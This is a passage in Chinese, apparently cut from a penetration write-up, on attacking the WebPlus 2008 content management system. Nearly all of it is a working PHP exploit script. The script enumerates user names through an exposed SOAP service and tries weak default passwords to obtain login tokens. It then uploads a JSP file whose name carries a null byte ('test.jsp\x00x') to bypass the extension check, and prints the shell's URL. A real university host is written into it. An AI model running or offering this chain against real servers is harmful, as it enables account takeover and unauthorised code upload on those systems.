filePO.getFileExtension()的取值为上传文件的后缀名,例如后缀名为jsp\0a便可通过checkIsAllowUpload的检验,并最后保存为jsp文件。 综合1、2、3,便可以对webplus2008系统进行有效渗透,测试如下:
<?php function http_post($url, $data='', $cookie='') { $headers = array('SOAPAction: ""', 'Content-Type: text/xml; charset=UTF-8'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $res = curl_exec($ch); curl_close($ch); return $res; } function getUserById($url, $id=1) { $curl = $url."/ids/services/SSOServices"; $data = "<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ser=\"http://server.ids.sudytech.com\"> <soapenv:Header/> <soapenv:Body> <ser:getUserById soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"> <userId xsi:type=\"xsd:int\">$id</userId> </ser:getUserById> </soapenv:Body> </soapenv:Envelope>"; $xml = http_post($curl, $data); preg_match("/<loginName xsi:type=\"xsd:string\">(.+)<\/loginName>/", $xml, $matches); $loginName = $matches[1]; if ($loginName!='') print("$loginName\n"); /* 中文显示为ꪻ $loginName = str_replace(';', '', $loginName); $loginName = str_replace("&#x", "\\u", $loginName); */ return $loginName; } function crack_pass($url, $loginName) { $curl=$url."/ids/services/SSOServices"; print("cracking $loginName --"); $passwords = array($loginName,'123456','888888','000000','111111'); foreach($passwords as $password) { $data = "<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ser=\"http://server.ids.sudytech.com\"> <soapenv:Header/> <soapenv:Body> <ser:logIn soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"> <loginName xsi:type=\"xsd:string\">$loginName</loginName> <credit xsi:type=\"xsd:string\">$password</credit> </ser:logIn> </soapenv:Body> </soapenv:Envelope>"; $headers = array('SOAPAction: ""', 'Content-Type: text/xml; charset=UTF-8'); $ch = curl_init($curl); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $xml = curl_exec($ch); $status = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($status == 200) { preg_match("/<logInReturn xsi:type=\"xsd:string\">(.+)<\/logInReturn>/", $xml, $matches); print("password:$password\n"); $loginToken = $matches[1]; $cookie = "loginToken={$loginToken}_1"; return $cookie; } } print("failed.\n"); return false; } function upload_shell($url, $cookie=''){ $curl = $url."/control/editoruploader?Type=File&articleId=&filePath=/upload"; $headers = array(); $ch = curl_init($curl); $headers = array("Content-Type: multipart/form-data; boundary=---------------------------1548630973453"); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $payload .= "-----------------------------1548630973453\r\n"; $payload .= "Content-Disposition: form-data; name=\"picSource\"\r\n\r\n"; $payload .= "uploadPic\r\n"; $payload .= "-----------------------------1548630973453\r\n"; $payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"test.jsp\x00x\"\r\n"; $payload .= "Content-Type: application/zip\r\n"; $payload .= "\r\n"; $payload .= "<%=\"hello world.\"%>\r\n"; $payload .= "-----------------------------1548630973453"; curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $html = curl_exec($ch); $html = iconv('UTF-8', 'GBK', $html); $rec = preg_match("/window\.parent\.OnUploadCompleted\(\d+,\'(.+)\\0x\.x\',\'([\s\S]*)\',\'([\s\S]*)\'\)/", $html, $matches); $shell = $url.$matches[1]; print("getShell:".$shell."?siteId=0&pageId=0"); exit(); } $url = "http://webplus.ecnu.edu.cn"; $url = $argv[1]; print("get user list:\n"); for ($id=1; $id<100; $id++) { $loginNames[] = getUserById($url, $id); } foreach($loginNames as $loginName) { if(strlen($loginName) != '') { $cookie = crack_pass($url, $loginName); if($cookie) upload_shell($url, $cookie); } } ?>